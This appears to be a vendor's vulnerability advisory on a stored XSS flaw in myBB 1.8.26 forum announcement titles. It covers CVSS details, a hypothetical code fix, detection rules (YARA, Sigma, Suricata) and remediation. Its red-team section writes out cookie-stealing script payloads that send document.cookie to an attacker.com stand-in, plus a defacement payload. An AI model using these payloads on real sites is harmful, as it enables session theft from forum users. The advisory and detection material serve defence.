CVE-2023-53978
Executive Summary
CVE-2023-53978 is a stored cross-site scripting (XSS) vulnerability in myBB Forums version 1.8.26. The flaw resides in the forum announcement system, specifically within the announcement title field when adding announcements through the 'Forums and Posts' > 'Forum Announcements' interface. An authenticated administrator can inject malicious JavaScript payloads into the announcement title, which will execute when the announcement is displayed to any user viewing the forum. This vulnerability requires administrative privileges to exploit, but the impact can be severe as it allows for session hijacking, defacement, or redirection of users. No official patch has been released, and the vendor has not provided a fix. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: Required (Admin must create announcement)
- Scope: Changed (XSS can affect other users)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires admin credentials, but once injected, the payload affects all users viewing the announcement.
Deep Dive & Mechanics
The vulnerability exists in the inc/functions_post.php or similar announcement handling code. When an administrator creates a new forum announcement, the title field is not properly sanitized or encoded before being stored in the database. The application then retrieves and displays this title without escaping HTML entities, allowing arbitrary JavaScript to execute in the context of the victim's browser.
The attack flow:
- An authenticated administrator navigates to
Admin CP > Forums & Posts > Forum Announcements. - The admin creates a new announcement and inserts a malicious payload into the title field, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When any user (including non-administrators) views the forum page where the announcement is displayed, the script executes.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding in the template file (likely announcements_forumdisplay or similar) allows the stored XSS to fire.
Vulnerable vs. Patched Code
Vulnerable Code (myBB 1.8.26):
In the announcement display template (e.g., announcements_forumdisplay), the title is output directly without escaping:
// Vulnerable: direct output without htmlspecialchars
echo $announcement['title'];
Patched Code (Hypothetical Fix):
The title should be escaped using htmlspecialchars or the myBB $templates->get with proper escaping:
// Patched: escape output
echo htmlspecialchars($announcement['title'], ENT_QUOTES, 'UTF-8');
No official patch exists, so administrators must manually apply this fix or use a security plugin.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to myBB Admin CP with administrator privileges.
- Target myBB 1.8.26 installation.
Exploitation Steps:
- Log in to the Admin CP.
- Navigate to
Forums & Posts > Forum Announcements. - Click "Add New Announcement".
- In the "Title" field, enter a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Set the announcement content and save.
- When any user views the forum, the script executes, exfiltrating cookies.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team
Detection:
- Monitor Admin CP logs for unusual announcement creation activity.
- Look for announcement titles containing
<script>,onerror,onload, or other event handlers. - Use WAF rules to block XSS payloads in POST requests to announcement creation endpoints.
Hunting:
- Query the database for announcement titles containing HTML tags:
SELECT * FROM mybb_announcements WHERE title LIKE '%<script%' OR title LIKE '%onerror%' OR title LIKE '%onload%'; - Review web server logs for requests to
/admin/index.php?module=forum-announcementswith suspicious POST data.
Mitigation:
- Apply input validation and output encoding manually.
- Restrict announcement creation to trusted administrators only.
- Use Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the myBB server.
- Suspicious POST requests to
/admin/index.php?module=forum-announcementswith script payloads in thetitleparameter.
- File System:
- Modified template files (e.g.,
announcements_forumdisplay) if attacker has file write access.
- Modified template files (e.g.,
- Database:
- Entries in
mybb_announcementstable withtitlecontaining<script>,onerror,onload, or other XSS vectors.
- Entries in
- Logs:
- Admin CP access logs showing announcement creation by non-admin users (if privilege escalation occurs).
Detection Engineering
YARA Rule
rule myBB_Stored_XSS_CVE_2023_53978 {
meta:
description = "Detects stored XSS payloads in myBB announcement titles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-53978"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
$xss4 = /onclick\s*=/i
$xss5 = /javascript\s*:/i
condition:
any of ($xss*)
}
Sigma Rule
title: myBB Stored XSS in Forum Announcements
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in myBB announcement titles
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-53978
logsource:
category: application
product: mybb
detection:
selection:
event: announcement_created
title|contains:
- '<script'
- 'onerror='
- 'onload='
- 'onclick='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"myBB Stored XSS in Forum Announcements"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"module=forum-announcements"; http_uri; pcre:"/title=(.*<script|.*onerror|.*onload|.*onclick|.*javascript)/Pi"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Manual Code Fix: Edit the announcement display template (e.g.,
announcements_forumdisplay) to escape the title usinghtmlspecialchars(). - Input Validation: Add server-side validation to reject announcement titles containing HTML tags or JavaScript event handlers.
- Restrict Access: Limit announcement creation to a small set of trusted administrators.
- WAF Rules: Deploy web application firewall rules to block XSS payloads in POST requests to the announcement creation endpoint.
Long-Term Recommendations:
- Upgrade to a patched version of myBB if one becomes available.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Conduct regular security audits of custom code and templates.
- Monitor for similar vulnerabilities in other myBB components.
Workaround:
- Disable the forum announcement feature if not essential, or use a third-party plugin that sanitizes input.
Valters IT